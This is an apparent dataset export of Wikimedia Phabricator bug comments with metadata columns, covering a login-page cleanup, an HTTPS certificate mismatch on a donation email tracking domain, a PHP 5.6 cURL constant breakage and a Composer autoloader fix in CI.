+512635,Getting rid of own login page (tracking),@JHernandez can we look to make sure this put in the next sprint if it hasn't been merged by then? I'm keen to see the back of this code!,,,1440194382,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+507110,Getting rid of own login page (tracking),"Change 231184 merged by jenkins-bot:
+Do not override login form in beta
+
+[[https://gerrit.wikimedia.org/r/231184]]",,,1439422602,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+507055,Getting rid of own login page (tracking),"Change 231146 had a related patch set uploaded (by Jdlrobson):
+Use core login form
+
+[[https://gerrit.wikimedia.org/r/231146]]
+",,,1439419397,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+507043,Getting rid of own login page (tracking),"Change 231184 had a related patch set uploaded (by Jdlrobson):
+Do not override login form in beta
+
+[[https://gerrit.wikimedia.org/r/231184]]
+",,,1439418634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+506936,Getting rid of own login page (tracking),"Change 231146 had a related patch set uploaded (by Florianschmidtwelzow):
+Use core login form
+
+[[https://gerrit.wikimedia.org/r/231146]]
+",,,1439410431,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+331996,Getting rid of own login page (tracking),Alpha patch: I8f89bdaf3dc7fde104f199554b18486c30580910,,,1415036120,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+331992,Getting rid of own login page (tracking),"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/tOKYUJrd",,,1415036113,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+74514,links.email.donate.wikimedia.org should offer HTTPS,"Found on https://github.com/EFForg/https-everywhere/issues/686
+
+timmc said:
+> Wikimedia [Foundation] sent me an email asking me to donate like I did last year:
+>
+> http://links.email.donate.wikimedia.org/ctt?kn=X&ms=XXXXXXXXXXXXX&r=XXXXXXXXXXXXXXXXX&b=X&j=XXXXXXXXXXXXX&mt=X&rt=X
+
+Reedy said:
+> ""This server could not prove that it is links.email.donate.wikimedia.org; its security certificate is from *.links.mkt41.net. This may be caused by a misconfiguration or an attacker intercepting your connection.""
+
+Italian donor said:
+> Il link riporta a questo sito: http://links.wikimedia.mkt4477.com/ctt?............... 
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major
+**URL**: https://links.email.donate.wikimedia.org/
+**See Also**:
+https://github.com/EFForg/https-everywhere/issues/686
+https://bugzilla.wikimedia.org/show_bug.cgi?id=58373",High,80.0,1414255200,1420837253.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-uxp3hc4banddtiwz6xrp,True,PHID-TASK-qcwcgvyfhhyloftimytq,task_description,resolved,True,c3,1,True,False,True,-36,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1
+642325,links.email.donate.wikimedia.org should offer HTTPS,"Closing the loop on this, finally! We no longer need to support Silverpop's
+domains (mtk41 or mkt4477.com, I believe are the only main domains?) for
+click tracking.",,,1460068950,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+632364,links.email.donate.wikimedia.org should offer HTTPS,"@CCogdill_WMF  thank you, that is good news. i was just going through that old wiki page",,,1458334583,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+632362,links.email.donate.wikimedia.org should offer HTTPS,"Apologies @Dzahn, you're totally right. We don't use the
+links.email.donate.wikimedia.org domain anymore. I was remembering old
+times.
+
+So yes, I think we can remove the DNS record for that domain. We should
+keep the mtk41 domain record active for another 2 weeks.",,,1458334477,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,37,True,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+632361,links.email.donate.wikimedia.org should offer HTTPS,">>! In T74514#2054126, @CCogdill_WMF wrote:
+> It will be in use for another couple of weeks, until the Swedish banners
+> come down. 
+
+let me create a subtask to remove this from DNS so we don't forget this
+",,,1458334416,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,37,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1
+632360,links.email.donate.wikimedia.org should offer HTTPS,"https://links.email.donate.wikimedia.org/
+
+links.email.donate.wikimedia.org uses an invalid security certificate. The certificate is only valid for the following names: *.links.mkt41.net, links.mkt41.net 
+
+this still linked to from https://wikitech.wikimedia.org/wiki/Httpsless_domains  and there is a cert error",,,1458334348,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+617319,links.email.donate.wikimedia.org should offer HTTPS,">>! In T74514#2051351, @CCogdill_WMF wrote:
+> Sure @Nemo_bis, here's a sample link from an email that went out last week:
+> 
+> https://donate.wikimedia.org/?utm_campaign=C1516_Email3&utm_medium=email&appeal=Appeal-JimmyQuote&utm_source=sp50722338&hpc=0&uselang=sv&contact_id=&link_id=2
+
+Thanks, that's easy to remember and I'm confident we'll get few questions about it. :)
+",,,1456336185,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+616035,links.email.donate.wikimedia.org should offer HTTPS,"It will be in use for another couple of weeks, until the Swedish banners
+come down. We have an active automated email program tied to the banners,
+and if we pause it while active we will cause the program to fail for
+donors currently enrolled. I can update this task once all the Swedish
+emails are out.
+
+Le lundi 22 février 2016, Chmarkine <no-reply@phabricator.wikimedia.org> a
+écrit :
+
+> Chmarkine added a comment.
+>
+>
+>   So is `links.email.donate.wikimedia.org` still in use? If not, can we
+> remove it from the DNS record?
+>
+> TASK DETAIL
+>   https://phabricator.wikimedia.org/T74514
+>
+> EMAIL PREFERENCES
+>   https://phabricator.wikimedia.org/settings/panel/emailpreferences/
+>
+> To: CCogdill_WMF, Chmarkine
+> Cc: Nemo_bis, CCogdill_WMF, wikibugs-l-list, Chmarkine, Dinoguy1000,
+> Seb35, Krenair
+>
+>
+>",,,1456203528,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+616030,links.email.donate.wikimedia.org should offer HTTPS,"So is `links.email.donate.wikimedia.org` still in use? If not, can we remove it from the DNS record?",,,1456201501,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+615480,links.email.donate.wikimedia.org should offer HTTPS,"Sure @Nemo_bis, here's a sample link from an email that went out last week:
+
+https://donate.wikimedia.org/?utm_campaign=C1516_Email3&utm_medium=email&appeal=Appeal-JimmyQuote&utm_source=sp50722338&hpc=0&uselang=sv&contact_id=&link_id=2
+
+Let me know if you have any questions about that.",,,1456157029,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0
+615264,links.email.donate.wikimedia.org should offer HTTPS,">>! In T74514#2040989, @CCogdill_WMF wrote:
+> Reopening (and resolving) this task to say Fundraising Tech has successfully set up email click tracking through donate.wiki (see T114010). We had our first round of emails go out this morning with our ESP's click tracking turned off after comparing data between the two click tracking systems over the last week. 
+
+Thanks. Can you tell us how the new URLs in emails look like, so that we know how to answer next time people ask about suspect phishing? Thanks.",,,1456099240,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1
+613322,links.email.donate.wikimedia.org should offer HTTPS,"Reopening (and resolving) this task to say Fundraising Tech has successfully set up email click tracking through donate.wiki (see T114010). We had our first round of emails go out this morning with our ESP's click tracking turned off after comparing data between the two click tracking systems over the last week. 
+
+There is an email program in Sweden which will remain active for another ~2 weeks and will still have IBM's click tracking turned on. Once that program is phased out, there will be no more instances of the mkt4477.com domain in our emails.",,,1455821549,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+542436,links.email.donate.wikimedia.org should offer HTTPS,"I guess T114010 is now the blocker, when it's resolved this bug can be fixed.",,,1444195422,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,13,True,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+397574,links.email.donate.wikimedia.org should offer HTTPS,"So the WMF is ready to never get a green check in the ""encrypt the web"" EFF report? https://www.eff.org/encrypt-the-web-report",,,1420838665,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0
+397537,links.email.donate.wikimedia.org should offer HTTPS,"We are aware of this issue and unfortunately don't have a good solution at this time. It is a result of the program we use to send our appeal emails, however once the handoff happens between our email client and our donation page, the donor is taken to an https page. No data is requested from the donor on an http page, and the only page they actually see is https. Here's what I ultimately see when I click on a link from our emails:
+
+https://donate.wikimedia.org/wiki/Sep2014enUS_noquote?utm_campaign=C14_Email2&utm_medium=email&utm_source=sp47725973&hpc=
+
+We have a prepared response for donors who contact us about this problem and an easy solution: simply visit donate.wikimedia.org directly or click on the sidebar link on Wikipedia, and they can get around this http to https handoff. We'll continue to look for a better solution.",,,1420837030,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0
+392113,links.email.donate.wikimedia.org should offer HTTPS,since this is about donate.wikimedia.org it should actually have Fundraising tags/projects. trying to add those.,,,1419261724,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+326002,links.email.donate.wikimedia.org should offer HTTPS,Fixed in HTTPSE upstream in https://github.com/EFForg/https-everywhere/commit/813ccfd171e5696499060ae464c0f2f676da914f,,,1416046412,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,1,True,,,-33,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+73729,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),"Constants CURLOPT_CLOSEPOLICY, CURLCLOSEPOLICY_LEAST_RECENTLY_USED and others are not defined as they were removed in PHP 5.6.0.
+
+Tests should probably be updated to only test the ones relevant for the CurlHttpRequest class to function properly. If those include constants removed in PHP 5.6, then we should fix the code to use a different method in PHP 5.6.
+
+See also:
+* http://php.net/manual/en/curl.constants.php#constant.curlopt-closepolicy
+* https://gerrit.wikimedia.org/r/#/c/159159/
+* https://bugzilla.wikimedia.org/show_bug.cgi?id=70570
+
+Example of HttpRequest failing on PHP 5.6:
+https://travis-ci.org/wikimedia/mediawiki-core/jobs/37159310 (lines 305...342)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1412651160,1413197546.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-kneronwrmdjoh2wdb3kl,task_description,resolved,True,c3,1,True,False,True,-39,True,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+325929,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),https://travis-ci.org/Krinkle/mediawiki-core/jobs/37801162 (current master on PHP 5.6) no longer shows any CURL related errors.,,,1413197546,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kneronwrmdjoh2wdb3kl,task_subcomment,,True,c3,1,True,,,-38,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+325925,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),"Anything left to do here, or did the merged patch fix this bug report?",,,1413138585,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kneronwrmdjoh2wdb3kl,task_subcomment,,True,c3,1,True,,,-38,True,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+325917,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),"**gerritadmin** wrote:
+
+Change 162825 merged by jenkins-bot:
+HttpTest: Update cURL constants array
+
+https://gerrit.wikimedia.org/r/162825",,,1412720896,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kneronwrmdjoh2wdb3kl,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+325910,HttpRequest: Failing under PHP 5.6 (CURLOPT_CLOSEPOLICY not defined),"**gerritadmin** wrote:
+
+Change 162825 had a related patch set uploaded by Dan-nl:
+Updated cURL constants array
+
+https://gerrit.wikimedia.org/r/162825",,,1412705993,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kneronwrmdjoh2wdb3kl,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+73629,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,"The wikimedia/iegreview project is using a PSR-4 autoloading scheme (just like PSR-0 except you don't have to have a bunch of empty directories in your path to define the full namespace).
+
+The phpunit job for this repository is failing with this error:
+
+PHP Fatal error:  Call to undefined method Composer\Autoload\ClassLoader::setPsr4() in /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/vendor/composer/autoload_real.php on line 33
+PHP Stack trace:
+PHP   1. {main}() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/composer/bin/phpunit:0
+PHP   2. PHPUnit_TextUI_Command::main() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/composer/bin/phpunit:63
+PHP   3. PHPUnit_TextUI_Command->run() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:129
+PHP   4. PHPUnit_TextUI_Command->handleArguments() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:138
+PHP   5. PHPUnit_TextUI_Command->handleBootstrap() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:606
+PHP   6. PHPUnit_Util_Fileloader::checkAndLoad() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:778
+PHP   7. PHPUnit_Util_Fileloader::load() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/Util/Fileloader.php:76
+PHP   8. include_once() /srv/deployment/integration/phpunit/vendor/phpunit/phpunit/PHPUnit/Util/Fileloader.php:92
+PHP   9. require() /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/tests/bootstrap.php:24
+PHP  10. ComposerAutoloaderInit219a9bfa76f2ac9b53cf75ea98d99ffa::getLoader() /srv/ssd/jenkins-slave/workspace/wikimedia-iegreview-phpunit/vendor/autoload.php:7
+
+
+
+After a lot of head scratching I figured out that this is caused by the vendor/composer/ClassLoader.php that is loaded from the integration/phpunit project to run phpunit. This older version of the \Composer\Autoload\ClassLoader class shadows the newer version present in wikimedia/iegreview/vendor/composer/ClassLoader.php.
+
+The fix for this should be as easy as regenerating the classloader for the integration/phpunit project using a newer version of Composer that supports PSR-4 autoloaders.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",High,80.0,1412373120,1412378903.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-pzohjhf6q3xga3p5msfe,task_description,resolved,True,c3,1,True,False,True,-39,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+321737,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,Tests needing PSR-4 autoloader are passing now. I left a pending patch for Antoine to look at that would upgrade phpunit to the latest 3.7.x version.,,,1412378903,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-pzohjhf6q3xga3p5msfe,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+321732,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,"**gerritadmin** wrote:
+
+Change 164687 merged by BryanDavis:
+Regenerate autoloader
+
+https://gerrit.wikimedia.org/r/164687",,,1412375465,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pzohjhf6q3xga3p5msfe,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+321729,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,"**gerritadmin** wrote:
+
+Change 164687 had a related patch set uploaded by BryanDavis:
+Regenerate autoloader
+
+https://gerrit.wikimedia.org/r/164687",,,1412374447,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pzohjhf6q3xga3p5msfe,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+321727,integration/phpunit has an older composer/ClassLoader.php that doesn't understand psr-4,"**gerritadmin** wrote:
+
+Change 164683 had a related patch set uploaded by BryanDavis:
